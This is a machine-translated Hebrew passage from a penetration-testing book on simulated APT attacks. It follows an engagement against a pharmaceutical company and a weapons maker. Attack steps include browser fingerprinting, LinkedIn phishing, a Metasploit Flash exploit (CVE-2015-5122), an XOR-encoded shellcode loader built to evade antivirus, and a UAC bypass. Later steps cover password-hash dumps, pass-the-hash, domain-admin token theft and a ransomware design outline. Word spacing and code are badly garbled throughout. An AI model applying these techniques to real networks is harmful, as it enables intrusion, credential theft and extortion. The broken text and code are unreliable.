א ב ל בתר חי ש ספציפי ש ל מוד ל APT,כ ל הת קפה נ כ ש לת תגרום למ טרה להיות מודעת
יותר ו ח שדניתיותר .כתוצאה מ כך ,ע ליך לה סיר כמה שיותר אי ודאות ,ו ל כן בעת ניצו ל
פגיעויות כא לה ,רצוי שיהיה לך כמה שיותר מידע ע ל מה שה ל קו ח מריץ מרא ש ,הן
מ ב חינת מ ש ט ח הת קפה והן מ ב חינת הגר סאות ה ספציפיות ש ל התו כנה .אפ שר לה קים
שרת אינ טרנ ט ו לתת לו מ סויים
Machine Translated by Google
גר סאות ש ל התו כנה .אפ שר לה קים שרת אינ טרנ ט ו לתת לו מידה מ סוימת ש ל
אינ ט ליגנציה כדי לזהות נ קודות תורפה בדפדפנים ו לנצ ל אותן בזמן אמת בהתאם למה
שנמצא .עם זאת ,זה מע שי לעתים ר חו קות בהת קפות בעו לם האמיתי נגד ת שתית
ארגונית והן נו טות להיות "רוע שות" ) ח שודות ל (SDI-ואי טיות )המ טרה ע שויה לעזו ב
את דף האינ טרנ ט או ל סגור את הדפדפן לפני ב חירת ניצו ל מתאים וניצו ל( .ל כן התה ליך
ש לנו צריך להיראות כך:
פרופי ל היעד -הו בי ל את ה קור בן ש לך לאתר אינ טרנ ט שיריץ כמה ס קריפ טים
וידגמן את ה ס בי בה.
ניצו ל -הע בר את ההת קפה בצורה ס בירה כדי להע ביר אותה לפי קודך ו ל ש לי טתך.
בהנ חה שאתה ממ קד למ שתמ ש באמצעות דפדפן אינ טרנ ט,י שנן כמה אפ שרויות
ל ק ביעת תו כנה בצד ה ל קו ח .האפ שרות ה טו בה ביותר היא JavaScript.ה ס קריפ ט
המהיר והמ לו כ לך ה בא מדגים כיצד למנות תו ספים וגר סאות ש ל דפדפן:
)([Link]
><body
></head
>> </script
} //--
Machine Translated by Google
מתפת ל במ טרה
לגרום למ טרה ש לך ל ב קר בדף הפרופי ל ש לך הוא עניין ש ל הנד סה ח ברתית וי ש לך
אפ שרויות ר בות .האהו ב ע לי הוא לה שתמ ש בהזמנה מזויפת ש ל LinkedIn.כו לנו
מ ק ב לים אותם מאנ שים שאנ חנו מ כירים ומאנ שים שאנ חנו לא ,אז הםיוצרים הת קפת
" ק לי ק ו ש כ ח" טו בה .הזמנה ש ל LinkedInבתי בת הדואר הנ כנ ס ש לך נראית כמו איור
4.5.
Machine Translated by Google
למ שתמ ש תוצג מיד הודעת שגיאה זמנית ש ל -JavaScriptה LinkedIn.אינו גנ ב ו לא
יעמוד ב בדי קה מדו קד קת; עם זאת ,אנו מ כ סים את ערפו ל JavaScriptלעומ ק בהמ שך
ה ספר.
כ שמ סת כ לים ע ל הפ ל ט מפרופיי לר ,אתהי כו ל לראות שה ל קו ח מריץ את גר סת הפ לא ש
[Link].בדי קת פר טי CVE,שו ב אתה מג לה שגר סה זו פגיעה לניצו ל
CVE-2015-5122,כפי שמוצג באיור 4.6.
ב ט בע.
הניצו ל הזה די מעניין .זה התג לה ע לידי ח ברה מתוע בת באי ט ליה ב שם Hacking Teamשהתמ חתה
במ כירת תו כנות ריגו ל למ ש טרים די כויים )עד שממ ש לת אי ט ליה ש ל לה את הרי שיון לייצא תו כנה(.
לא חר שהTeam gnikcaH-נפגע בעצמו ע לידי גורמים לאידועים ,הר בה מה סודות ש לו ו ח ל ק מ קוד
הניצו ל ש לו ) כו ל ל זה( הוד לפו לאינ טרנ ט .זה שופר ע לידי ה קהי לה ויו בא למ סגרת )Metasploit.ראה
[Link]
זהו כ לי שנ ש ל ב ב 2C-ש לנו ב סעיף ה בא .לעת עתה ,נ שתמ ש בניצו ל עצמאי ש ל Metasploitע בור
ה באג CVE-2015-5122כדי ל בצע ביצוע קוד ע ל היעד ו להת קין את סו כן ה 2C-ש לנו .אם אינך מ כיר
את Metasploit,ע כ שיו זה זמן טו ב לה כיר.י ש הר בה מדרי כים באינ טרנ ט וזה כ לי שימו שי מדי ב ש בי ל
מוד לים ש ל APTכדי להתע לם ממנו.
עם כמה פ קודות פ שו טות ,ההת קפה הזו מו כנה ל טי סה .התוצאה ה סופית היא שרת
אינ טרנ ט ש כא שר היעדי ב קר בו,ית קוף מיד את הפגיעים
Machine Translated by Google
שרת ש כא שר היעדי ב קר בו,ית קוף מיד את הגר סה הפגיעה ש ל פ לא ש .אם זהיצ לי ח,
הואיע לה וי בצע את סו כן C2.
הניצו ל מופע ל באופן ה בא:
> )msf exploit(adobe_flash_opaque_background_uafהפע ל ]*[ניצו ל ריצה כע בודת ר קע> [*] .
) msf exploit(adobe_flash_opaque_background_uafשימו ש ב[Link]/adobe_demo [*] IP :LRU-
[Link] קומי[Link] [*] :ה שרת הופע ל.
הערה
י שנם מ שא בים ר בים )אפי לו מוגזמים( ל לימוד Metasploit.זה לא א חד מהם.
ההנ חה היא ה בנה פעי לה ש ל מו שגים ,פ קודות ומנצ לים ש ל Metasploit.כאן אתה
עו ס ק בעי קר בה כנ סת הפונ קציונ ליות והגמי שות ש ל המ סגרת לתוך ה 2C-ש לך.
הי כו לת לנת ב דרך חי בור ה HSS-ש לך ,כך שתו כ ל לא חד ת ק שורת באמצעות חי בור
י חיד ו לה בי ס את ני טור זיהוי ה חדירה ש ל תע בורת הר שת .באופן אידיא לי ,ת שתמ ש
במנהור חי בור דינמי ש ל SSH,שיאפ שר לך להפעי ל פרו ק סי SOCKSבמ ח ש ב היעד
ש לנו ו לנת ב את כ ל תע בורת Metasploitדר כו ב חזרה ל .2C-עם זאתMetasploit ,
אינו מאפ שר לך לציין הגדרות פרו ק סי בעתיצירת קוד מע טפת ,כך שת שתמ ש
במנהרת SSHהפו כה פ שו טה עם מאזין Metasploitעצמו
Machine Translated by Google
תצורת שרת
תצורת ה שרת היא פ שו ט עניין ש ל הת קנת Metasploitוהת לות ש לה .אם אתה
מ שתמ ש בהפצת לינו ק ס המיועדת ל בדי קות חדירה ,כ ל זהיהיה במאגר .א חרת ,הורד
והת קן אותו באופןידני .אתה בה ח ל ט רוצה להת קין PostgreSQLו לה ב טי ח שזה מ ש ח ק
טו ב עם ; Metasploitעם זאת ,כ ל זה מתועד בפירו ט במ קום א חר ואני לא א בז בז כאן
מ קום עם טריוויא ליות.
x8d\x23\xa7\x95\xc8\x6d" "\xc2\x20\x1a\x9e\x58\x09";
"\xeb\xa9\xa4\x3c\xfb\x39\xc2\x9d\x4c\
"\ xde\x4d\x7f\xd0\x13\x4a\xd3\x0c\xf3\xc5\xef\x83\xda\x48\xae"
"\x13\x99\x39\x44\xaa\x22\x78\xe8\xa2\x54\x5c\x8f\x66\x6e\x7c"
"\xaa\x50\x74\x80\xad\x0f\x30\ xf5\x4f\x2b\x60\xa0\x0c\x6f\x4c"
x67" "\x49\x4d\x47\x13\x0c\x81\x71\xfe\xf4\x6f\x37\xc6\x70\xd5\x51"
"\x7d\x78\x0d\x94\xd5\x21\xa4\xf3\x32\x95\x60\x3a\xfa\x6b\
"\x24\x42\x41\x26\x76\ x00\x02\xe6\x8f\xae\x01\x4a\x45\x95\xf9"
x48\x42\x83" "\xc2\xf9\xee\xa4\x11\x0b\x36\xef\x7b\xb1\x10\x09\xf2\x5b\x1c"
"\x89\x85\x8d\x2e\x05\x63\xda\x1f\xaf\x40\x89\xa5\
"\xff\x05\x9f\ x19\x71\x8a\xbd\x76\xd8\x24\x0d\x89\xf2\x16\xf3"
"\x50\x59\xe6\xbb\xb1\x18\x42\xfa\x2d\xad\x76\xf4\xe6\x3e\x47"
"\xa1\x5f\x4d\x57\xfa\xd0\x56\x24\xe5\x2f x55\xf9\x2f\xdf\x2c"
"\x25\ x88\x25\x64\xf7\x54\x55\x0a\x35\x55\x2a\x1f\x3a\xb9\x5f"
"\xa2\x2d\x85\x76\x1a\xd3\x72\xc0\x9d\x0d\x13\xad\xb0\x97\x01"
"\xf4\xcc\x33\xfd\xed\xdb\x6f\xac\ xe4\x04\x28\xc2\x32\x54\x47"
"\xf9\x8e\xad\xc2\x97\x82\x1a\x1f\x05\x67\x88\x49\x48\xb7\xfa"
<windows.h> #include <iostream> int main(int argc, char **argv) { char b[] = {/*
((void()())exec)(); } ]גוד לcchar ;{/*'הו לך ל כאןxyz' ש לך עם מפת ח המע טפתdROX-ה#include
sizeof c, MEM_COMMIT , PAGE_EXECUTE_READWRITE); memcpy(exec, c, sizeof c);
b]; for (int i = 0; i < sizeof b; i++) {c[i] = b[i] ^ 'x';} void exec = VirtualAlloc(0,
איור 4.8:פונ קציית XORפ שו טהי כו לה ב ק לות לה בי ס את ט כנו לוגיית האנ טי-וירו ס.
כא שר אדון ב שימו ש בMetasploit, -א שתמ ש גם ב חזית הגרפית Armitageשפות חה
ע לידי Raphael Mudge.ה סי בה ל כך היא פ שו ט שממ ש ק Metasploit CLIהמ קורי
אינו מ ספ ק צי לומי מ סך ממ חי שים במיו חד.
נו כ ל להו סיף פונ קציה לממ ש ק הגרפי C2ש לנו כדי להפוך את הפרי סה ש ל סו כן
Metasploitלאו טומ טי או פ שו ט להע לות ו להפעי ל אותו באופןידני.
לMetasploit -י ש פונ קציונ ליות התמדה מ ש לה ,א ב ל אנ חנו לא נ שתמ ש בה מ כיוון
שהיא ת סומן ע לידי IDS.במ קום זאת ,נאת ח ל אותו מת שתית C2ש לנו בעת הצורך.
ההגדרה ש לנו עם Metasploitמ שו ל ב ופרו ס נראית כעת כמו איור 4.9.
סי בו ב
Machine Translated by Google
א חת הפונ קציות ה ח שו בות וה שימו שיות ביותר שמ ביאה Metasploitלמ שוואה היא ציר.
זה מאפ שר לנו לנת ב הת קפות דרך מ ח ש ב שנפרץ ו לת קוף מ שא בי ר שת א חרים שי ש לה
ראות א ליהם .זוהי ת כונה הניתנת לערום ,כ לומר אנוי כו לים לנת ב דרך שר שרת ש ל
מ כונות אם נצ טרך .זה ע שוי להיות ה כר חי כדי לה בי ס סוגים מ סוימים ש ל ב קרת גי שה
לר שת או שאו לי תרצה ל בצע הת קפות ממ שא ב ר שת בע ל ערך נמוך ,כך שאם זוהה ע ל
ידי -SOCה לא אי בדת את גי שת רא ש ה חוף ש לך .באמצעות Armitageזהו תה ליך
ב ל חיצה א חת המוצג בממ ש ק גרפי ח ל ק ל ק.
Metasploitמיי שמת גם הת קפת תה ליך הגירה שמאפ שרת ) בין היתר( לע קוף ל ח לו טין
ב קרת גי שה מ בו ס סת תה לי כים .זה מ ביא אותנו בצורה מ סודרת ל סעיף ה בא.
ההת קפה
ה ל קו ח סיפ ק ת חנת ע בודה רגי לה ש ל Windows 7עם תמונה ,אם כיי כו לנו גם ל ח בר
את ער כה מ ש לנו לר שת ש להם .הצו הרא שון היה להתפ שר ע ל ת חנת הע בודה עצמה -
מה ש למדנו כאןיגיד לנו הר בה ע ל איך ה ח ברה טיפ לה בא ב ט חת מידע באופן כ ל לי.
חומת הא ש ש ל הדי ס ק ה ק שי ח נ כ ש ל
ת חנות הע בודה מריצים לי בה שונה כדי למנוע כתי בה ש ל תה לי כים לא מור שים לדי ס ק.
ק ל לע קוף את ה ט כנו לוגיה הזו וזה הד בר הרא שון שאנ חנו צרי כים לע קוף לפני שנו כ ל
לת קוף את ת חנת הע בודה ברצינות.
-HDFה לא מונע מאיתנו להריץ קוד; זה ר ק מונע כתי בת די ס ק ע לידי תה לי כים לא
מור שים .ל כן ההת קפה ש לנו תצ טרך לע בור לתה ליך מור שה א חר כדי לע קוף זאת.
גי שת כתי בה ל כונן ה ק שי ח ת ק ל הר בהיותר ע ל הת קפות ה ס למה ש ל הר שאות )ראה
איור 4.10).
Machine Translated by Google
איור 4.10:פנ ק ס ר שימות אינוי כו ל ל כתו ב ל כונן C.זה הימור הוגן לרו ב תו כנות
שו ל חן הע בודהי ש אותן הג ב לות.
הדגמת Metasploit
הדרך המהירה ביותר לה שיג זאת )וא כן להגדיר את מת קפת ת חנת הע בודה( היא
לה שתמ ש ב Metasploit. -ע לידי פרי סת מ טען Meterpreterבזי כרון ,אנוי כו לים
לר שום תה לי כים ו לע בור ביניהם ב ל חיצת ע כ בר .בדוגמה זו ,נפר ט את התה לי כים
הפוע לים ע ל המאר ח כדי ל למוד את -PIDה)מזהה תה ליך( ש ל תה ליך ה לי בה ש ל
Windows [Link]ו ל קפוץ א ליו .ראה איורים 4.11ו -4.12.
איור 4.12:הע ברת תה לי כים היא תה ליך ב ל חיצה א חת .כאן ע ברנו א ל [Link].
כא שר המ טען ש לנו פוע ל בתה ליך [Link] ,אנוי כו לים לה שתמ ש בMetasploit -
כדי ל כתו ב ל כ ל מה שנרצה ,כפי שמוצג באיור 4.13.
מת חת למ כ סת המנוע
אם אתה מעוניין במה ש קורה כאן בפוע ל Metasploit ,עו שה את הפעו לות ה באות:
נ ס קור את המו שגים וה ט כני קות בה ס למה ש ל ז כויותיתר בפר ק ה בא .עם זאת ,באג
פ שו ט ש ל ה ס למה ש ל הר שאות מ קומיות הוא כ ל מה שנדר ש כאן כדי לתת לנו ז כויות
ניהו ל וגי שה לנתונים שימו שיים כמו גי בו ב סי סמה שי כו ל ל שמ ש כדי להר חי ב את
הה שפעה ש לנו ע ל שאר הר שת.
ההת קפה ש בה נ שתמ ש היא מת קפת הגנת UAC Bypass Bypass VBS,כפי שמוצג
באיור 4.14.
Machine Translated by Google
הת קפות א לו פוע לות ל לא ר ב ב כנגד מ בנה Windows 7ת חת הת קפה (7601).
היתרונות ש ל אדמין
כעת ,לא חר ש ס כן את המ ח ש ב הזה לרמת המנה ל ,נת קין את סו כן C2ונ ש ליך את
-hashה ש ל ה סי סמה ע בור המ שתמ שים המ קומיים .למרות ש כ ברי ש לנו גי שה ב לתי
מוג ב לת לת חנת ע בודה זו ,הם ע שויים להיות שימו שיים במ קומות א חרים ,במיו חד מ כיוון
שהר בה ארגונים מ שתמ שים ב ח ש בון מנה ל מ קומי א חד ספציפי לתמי כה ט כנית ו לא חר
מ כן דו חפים תו כנה ל שו ל חן הע בודה .אם היינו מצ לי חים לה שיג אותם ,אז התנועה
הצידית בר ח בי המיזם תהיה הר בהיותר ק לה.
בארגונים שמ שתמ שים באימות )NTLMש ב חנויות Windowsזה כמע ט כו לם( ,בהנ חה
ש קיים ח ש בון כזה ,לא נצ טרך לפצ ח את -hashה ש לו כדי לה שתמ ש בו ,ש כןי ש מת קפה
שנ קראת " "Pass the Hashש בה מ ספי קה לה חזי ק את -hashה ש ל ה סי סמה כדי
לה שתמ ש בה כדי להי כנ ס
Machine Translated by Google
למאר חים א חרים בר שת .עוד ע ל כך ב קרו ב .בינתיים ,אני אוה ב ל ק ב ל את ה סי סמאות
ו ש קו ל לפיצו ח אותן תרגי ל ראוי.י ש הר בה כ לים ו ט כני קות ש בהן אתהי כו ל לה שתמ ש
לפיצו ח סי סמאות -אני אוה ב את ג'ון המר ט ש ,א ב ל זה א חד מני ר בים .זו ת קופה
א חרת ש בה הע ברת תה לי כים היא רגי לה .אנ חנוי כו לים לע בור לתה ליך [Link]
ו לה ש ליך גי בו ב שמור ב לי לגעת בדי ס ק ,וזו דוגמה נו ספת ל חו סר התו ח לת ש ל מה
שנ קרא חומות א ש ש ל די ס ק ק שי ח.
pentestuser:502:E52CAC67419A9A224A3B108F3FA6CB6D:047310f22e642465092c42b4ef844
pharmadmin:500:047310f22e642465092c42b4ef84490b:ecbbacc2fcaf2e07045b500d2a57ed
זו לא בי קורת מ קיפה ש ל כ ל ת שתית הר שת-dump .ה לאי כי ל *nix boxes,נת בים,
מתגים ,הת קנים מ שו בצים ו כו' ,א ב ל זו נ קודת הת ח לה מצוינת לת חו שה ש ל איך
הר שת נראית.
עם זאת ,אם נזרו ק את ר שימת הדומיינים ש ל Windows,נו כ ל לראות שהת שתית
מ חו ל קת גם לפי מדינה:
ְ ּב רִי טַנִיָה
GER
AU
FR
DK
זה
INX
Machine Translated by Google
NL
IN
WIB
מ ח קר ופיתו ח
ESP
[Link] [Link]
pharmUK123. [Link] [Link]
[Link] [Link]
[Link] [Link]
[Link] [Link]
[Link] pharmUK13 .[Link]
[Link] [Link]
[Link] [Link]
[Link] [Link]
IT מאר חי
[Link]
[Link]
[Link]
[Link]
[Link]
[Link]
itnas01 .[Link]
[Link]
[Link]
[Link]
[Link]
[Link]
[Link]
[Link]
Machine Translated by Google
[Link]
[Link]
[Link]
[Link]
[Link]
[Link]
[Link]/24 CN=GER
[Link]/24 CN=AU
[Link]/24 CN=FR
.0/24 CN=DK
[Link]/21629.1 CN=IT
[Link]/21629 CN=NL
[Link]/24 CN=IN
[Link]/24 CN=WIB
[Link]/24 CN=RD
[Link]/24 CN=ESP
[Link]/24 =NCארה" ב
י ש לו ב קרי ת חום מ ש לו ,שרת דואר ,שרת ק בצים ות חנות ע בודה מ ש לו .ה חריג ל כך הוא
[Link],שנראה כמוגדר כ 16 /-מ סי בי א חד המתיי ח ס אך ור ק למאר חים בצפון
אמרי קה .זוהי חריגה גדו לה מת קני עיצו ב ר שת פנימיים ו לא ברור מדוע זהיו שם בצורה זו,
לאור ההי ס טוריה ש ל ה ח ברה שמ קורה באירופה.
ה שימו ש בMetasploit -הופך את זה לפ שו ט למדי .כפי ש כ בר ראית Metasploit ,מא ח סנת את
כ ל -hashה שהיא מ סוג לת לר כו ש ל שימו ש מאו חריותר .כ ל מה שאנ חנו צרי כים לע שות כדי לע שות
שימו ש חוזר -hashבהוא להו סיף מ כונתיעד לממ ש ק Armitage,ל ל חוץ ע ליו באמצעות ל חצן
הע כ בר הימני ו ל ב חור psexec,כפי שמוצג באיור 4.15.
א ב ל מה,(!זה נותן לנו ש לי טה מ קומית ש ל מנה ל מער כת ע ל מער כת היעד )וזה נהדר
זהיאפ שר לנו לע בור ע ל כ ל.שיהיה אפי לו טו ביותר הוא ל ק ב ל אי שורי ניהו ל דומיין
י ש טרי ק לע שות זאת אם אתהי כו ל למצוא ת חנת ע בודה או שרת שמנה ל דומיין.הר שת
זהPowerView, עם, למר בה המז ל.מ חו בר א ליו ו שתו כ ל ל ק ב ל גי שת מנה ל מ קומי
: ע לינו למנות את מנה לי הדומיין, קודם כ ל.מהיר
[Link]: globaladmin
שם מ שתמ ש UserDomain:
SessionFrom: [Link] LocalAdmin: :שם מ ח ש ב
[Link] IP: [Link]
IP
[Link] : globaladmin
שם מ שתמ שUserDomain :
Machine Translated by Google
א סימוני מ ש ל חת זמינים
=======================================
\ שירות מ קומיYTIROHTUANT
NT AUTHORITY\NETWORK SERVICE
NT AUTHORITY\SYSTEM
IT\pharmaadmin
Machine Translated by Google
PHARMA\globaladmin
אנ חנוי כו לים לגנו ב את א סימון ההפע לה ש ל מנה ל הדומיין ,מה שייתן לנו ש לי טה מ לאה
ע ל כ ל המאר חים ש ל הדומיין הזה.
ודא שאתה שומר את אפ שרויות שורת הפ קודה כך שהפ ל טי כי ל את הנתי ב המ לא; זהי ק ל
ע ל ס קריפ ט מאו חריותר כא שר אתהיודע מה אתה רוצה להעתי ק.
זה כמו בן ניתן להר ח בה ו ס קריפ ט ל ח לו טין ,א ב ל כ כ ל שהר שת שת ש ליך ר ח בהיותר ,כך ה חיפו שיי ק חיותר
זמן .גי שה א חת היא חיפו ש בר שימת היעדים א חריעדי מ שא בי אנו ש פו טנציא ליים ,אך המינו ח ש ל ת חנת
הע בודה מעורפ ל מאוד .גי שה טו בהיותר היא לה שתמ ש ב לינ קדאין כדי למצוא את שמות העו בדים שעו בדים
במ ח ל קת מ שא בי אנו ש ו להצ לי ב את א לה עם dumpש ל מ שתמ שים מה .DA-לא חר מ כן תו כ ל ל ק בוע לאיזו
ת חנת ע בודה המ שתמ ש מ חו בר .אנו מוצאים ג ברת ב שם פראן סאמר ס שמייצגת מ שא בי אנו ש ג לו ב ליים ב סן
פרנ סי ס קו .באמצעות PowerView,אנו מג לים ש שם המ שתמ ש ש לה הוא fransumm:
}…Members,OU=Groups,DC=pharma,DC=com
=pharma,DC=com,
סאמר ס ח בר ב:
CN=Security
תצוגה :פראן
OWA
שם
Groups,DC=pharma,DC=com, CN=SP_Manf_PharmaShare_Technical,OU=Groups,DC
{CN=AX Requisition Users,OU=Groups,DC=phenomenex,DC=com, =CN=HR,OU
[Link]
: [Link]
הפע לת IPמ:
C:\Users\fransumm\AppData\Local\Temp\Temp1_invbas3p0.zip\[Link]
C:\Users\fransumm\Documents\Employee_complete_2016.xlsx
information [Link] C:\Users\fransumm\Desktop\Onboarding\[Link]
C:\Users\fransumm\Desktop\Onboarding\Asset & subnet
ברגע שהתו כנה הזו נד חפת ותת קין ,נו כ ל לה קפיץ כ ל ת חנת ע בודה ו שרת ש ל Windows
בר שת .כא שר הםית חי לו שו ב ,הםידר שו את מ שפ ט ה סי סמה כדי להמ שיך ברצף האת חו ל
ו) בהיעדר זאת( הם ב לתי ניתנים ל ש חזור ל ח לו טין .מדו בר במת קפה מרו שעת שע לו לה גם
להפוך את ה ח ברה לפתו חה ל ס חי טה .מי ליון דו לר ב בי ט קוין ע בור בי טוי ה סי סמה ,למ ש ל.
עם זאת ,זהו תרגי ל דוגמנות אז אנ חנו לא הו ל כים לע שות שום ד בר מזה .זה מ ספי ק כדי
להדגים פגיעות ע לידי ד חיפת קו בץ בינארי מותאם אי שית לת חום היעד .לדוגמה ,כדי
למ קד ספציפית ל ברי טניה ,נ בצע את הפעו לות ה באות.
ב ש ל ב זה ,אנ חנו ר ק צרי כים לציין ר שימה ש ל מ ח ש בייעד ונתי ב למ טען ש לנו:
סי כום
פ שו ט ע ברנו ממ שתמ ש שו ל חני צנוע לגי שה מ לאה לדומיין תוך פ חות מ שעה .מרגי ש ב טו ח?
אני מ קווה ש לא .זה ב שום אופן לא תר חי ש מתו כנן,יי חודי או ק שה ל ש כפו ל ו כ ל ה כ לים
שהדגמתי כאן הם נ ח לת ה כ ל ל וזמינים באופן חופ שי .הנ קודה הגדו לה כאן היא -Windowsש
אינה ס בי בה ס ל חנית אם אתה עצ לן בא ב ט חה .גם אם אתה לא ,אתהי כו ל להי כנ ס למים
חמים במהירות אם המ שתמ שים ש לךי כו לים לה ס לים את ההר שאות ש להם באופן מ קומי.
בתר חי ש APT,זה לרו ב ר ק עניין ש ל זמן.
תרגי לים
1.הורד ניצו ל קיים בצד ה ל קו ח .שנה אותו כך שהואיע קוף את ש לך
פתרון האנ טי וירו ס המועדף .ודא שזה עדיין עו בד.
פר ק 5
רו בים ות חמו שת
פר ק זה הוא דוגמה מעניינת לה ש ל כות הפו טנציא ליות מר חי קות ל כת ש ל אי ה ב ט חת
ה קניין הרו חני ש לך .בעידן המודרני ש ל הרעיון ה כו ל ל לייצור או טומציה ש ל מוצרים,
או בדן אפי לו ש ל כמה ק בצי עיצו ב בעזרת מ ח ש ב ) (CADמ ספי קים בפו טנציה כדי
לה ט ביע את הע ס ק ש לך .ב שנים הא חרונות ,ה שימו ש במער כות ב קרה נומרית
ממו ח ש בת )(CNCהפך לפופו לרי מאוד בת כנון וייצור ש ל נ ש ק ,ש כן הצ בא מ ב ק ש
מער כות מור כ בותיותר ב שו ק צפוף ש בו בדרך כ ל ליז כה המציע הנמוך ביותר ב חוזה
הר כ ש.
מער כות CNCמ שמ שות לייצור המוני ש ל כ לי נ ש ק לפי מפר ט מדוי ק עם מינימום מו ח ל ט
ש ל אינ טרא קציה אנו שית -לפעמים ר ק הר כ בת ה ח ל קים שהו ש למו .תופעת לוואי ש ל
גי שה זו היא שמער כות CNCזמינות ב ק לות ,זו לותי ח סית וי כו לות לייצר ה חזר מהיר ע ל
הה ש קעה.
זאת,י חד עם העו בדה שניתן ל שתף ב ק לות מ סמ כי הוראות CNCהנ חוצים לנהיגת
מ כונות כא לה דרך האינ טרנ ט ו שע בודת נ ש ק ביתית ש ל CNCהפ כה לת ח בי ב ני שה
ב קר ב פ ל חים מ סוימים באינ טרנ ט ,הפו טנציא ל לא ר ק לאו בדן קניין רו חני א ב ל גם ע בור
התפ ש טות מ סי בית ברור .בעתיד ,הדפ סה ת לת מימדית מת קדמת ) כמונ ח ר ח ב ה כו ל ל
פ ל ס טי ק ומת כות מו ק ש חות( תהיה זמינה כמע ט ל כו לם ,ו ס ביר להני ח שההג ב לה
ה חו קית ש ל כ ליירייה תהיה ב לתי אפ שרית למניעה )ראה איור 5.1) .
Machine Translated by Google
איור 5.1:תות חן רפאים מ בוזר בהגנה .מ כונת CNCב קוד פתו ח המיועדת לייצור מ ק ל טי
AR-15ת חתונים המוג ב לים ע ל פי ה חו ק הפדר לי.
מ קור[Link] :
אם לא הייתם מנ ח שים ש כמה מהנ ש ק ה ק ל מהמת קדמות בעו לם מתו כננות ומיוצרות
ב ב לגיה ,אתם לא ל בד .הופתעתי לג לות שהר בה מ כ לי הנ ש ק ה חד שניים ,הי קרים
והאו ל טרה-מודרניים ביותר מ קורם שם .א לא אם כן אתה חו ב ב נ ש ק חם או סו חר נ ש ק,
כנראה ש לאידעת את זהיותר ממני .אף ע ל פי כן ,מ קורם ש ל הר בה מ כ לי הנ ש ק
ה חדי שים ,הי קרים והאו ל טרה-מודרניים ביותר )ו ב שנתיים הא חרונות הגיע לידי המורדים
ה לו בים ע ק ב מ שא ומתן מדיני מוזר מאוד שהוא הר בה מע בר לת חום ש ל ה ספר הזה(.
ר קע ותדרוך מ שימה
ריגו ל תע שייתי )וגני בה בו טה ש ל רעיונות ע ברו כ חד שנות( זה זמן ר ב
Machine Translated by Google
היה פן ש ל תע שיית הנ ש ק .זה בו ל ט במיו חד כא שר מ שווים מער כות נ ש ק ש ל נא ט"ו /ברית ור שה מהמ ל חמה
ה קרה ,אך הפי לו סופיה חיה ו קיימת כיום ב ס חר בנ ש ק המ קומי )ראה איור 5.2).
...העת קה היא ח ל ק מע ס קי הנ ש ק ,ואני ב טו ח שתראו את מנגנון ההד ק ב סגנון P3ATבא קד חים ר בים
א חרים ) שור עו לה בדעת כם( .באופן אי שי ,לא שמ חתי שרוג'ר טען שי ש לו עיצו ב חד ש לגמרי ,כא שר ברור
שהוא מ בו ס ס ע ל העיצו ב ש לנו .ו כ ש שדרוג למנגנון ההד ק שת כננתי מצא את דר כו -Rugerל לא חר שיצא
ב ,TA3P-זה לא גרם לי להרגי ש טו ביותר.
א ב ל זה הע ס ק.
-מנ כ" ל Kel-Tec,ג'ורג' ק לגרן ,ע ל גני בת עין בתע שיית כ לי הנ ש קengineer-answers-your-questions/) .
([Link]
ר ק בג ל ל שהתרגו ל מ קו ב ל בדרך כ ל ל לא אומר שהוא בדיו ק מ בורך .אמנם אין שום ד בר שיצרניםי כו לים לע שות
כדי לעצור את הת חרות מהנד סה לא חור ש ל המוצרים המוגמרים ש להם ,א ב ל זה סי כוי שונה ל ח לו טין מא שר
לאפ שר להם לצפות במ סמ כי CADאו CNCומפר טים הנד סיים .עם הצ לצו ל הזה באוזני ,מצאתי את עצמי מת כנן
תרגי ל דוגמנות APTע בור א חת מיצרניות הנ ש ק המו בי לות בעו לם -ספ קים ק בועים ל כו חות מזוינים בר ח בי
העו לם ,כו ל ל סניפים ר בים ש ל הצ בא האמרי קאי.
באופן לא מפתיע ,המ טרות העי קריות ש ל ה בדי קה היו ל ק בוע את ק לות הר כי שה ש ל כ ל ס כמות ותיעוד ה ק שורים
לת כנון נ ש ק
Machine Translated by Google
דאגה נו ספת הייתה הרגי שות ש ל ה ח ברה להת קפות כופר .אמנם כ ל לתי הוראות
מפור טות כיצד לדמות הד ב קה ש ל תו כנת כופר ב סעיף ה בא -כך ש ט כנו לוגיה כזו
ע שויה להיות מו בנת טו ביותר -העצה ש לי במ קרה ה ספציפי הזה )ו ברו ב המ קרים( היא
פ שו ט להיות מודע ל ס כנות ש ל תו כנות כופר ל קיים תו כנית ה בראה לפני מע שה.
תו כנת כופר היא בעיה הו ל כת וגו ברת .זה כ סף ק ל לפ שע מאורגן שמעוניין ל כוון לפירות
ת לויים נמוך ותמידי ש אנ שים שמו כנים ל ש לם .ח ל ק מ ק בוצות או מ ח ברי תו כנות ה כופר
י ק ב לו ת ש לום דרך PayPalאך נו טים לדרו שיותר כ סף ,כ כ ל הנראה כדי לפצות ע ל
הצעדים הנו ספים שי ש לנ קו ט כדי לא ב ט ח את זהותם ש ל הגנ בים.
אַזהָ ָרה
ב לי לרצות להזיז את הנ קודה ה ביתה ,הימים ש בהם ע ס קים היו צרי כים לדאוג לג בי שום
ד בר מעצ בןיותר מ בני נוער מ שועממים ומתגי אינ טרנ ט ח לפו מזמן.י ש אנ שים רעים
מאוד ב חוץ ואתה צריך לדעת מו ל מה אתה מתמודד.
הצפנה א סימ טרית ב ל בד.י ש לה שתמ ש במפת חות נפרדים להצפנה ו לפענו ח.
ניתן להגדרה כדי למ קד ל ק בוצות ק בצים ספציפיות ) כ לומר ,מ סמ כי Word,גי ליונות
א ל ק טרוניים ש ל Excelו כן ה לאה( ו כן ל ק בוע אם ר ק ק בצים מ קומיים מות קפים או
אםי ש ל כ לו ל גם שיתופי ר שת.
ק בצים ,כ לומר,יצירת hash SHAש ל המפת ח הצי בורי במער כת שנפרצה ומ ספ קת
מ חרוזת זו כא סמ כתא בעת ב ק שת ת ש לום .דרך או טומ טית ל ש חזר ק בצים עם
המפת ח לא חר ת ש לום ה כופר צרי כה להיות מו בנית ב סו כן C2.
קריפ טוגרפיה א -סימ טרית זו אינה מ סה ע ל ט כנו לוגיה קריפ טוגרפית -זה מע בר לת חום
ש ל ע בודה זו .עם זאת,י ש צורך לה בין כמה ע קרונות גם אם אתה לא מעוניין או מ כיר
מה קורה מת חת למ כ סה המנוע .זה בה ח ל ט לא ה כר חי להיות מ סוג ל ליי שם צפנים או
פרו טו קו לים קריפ טוגרפיים מאפ ס ,ש כן ל כ ל שפת ת כנות גדו להיהיו ספריות קריפ טו
שמתאימות למ טרות ש לנו .אם אתה מ חפ ש מ בוא טו ב ל קריפ טוגרפיה ,אני מציע מהדורת
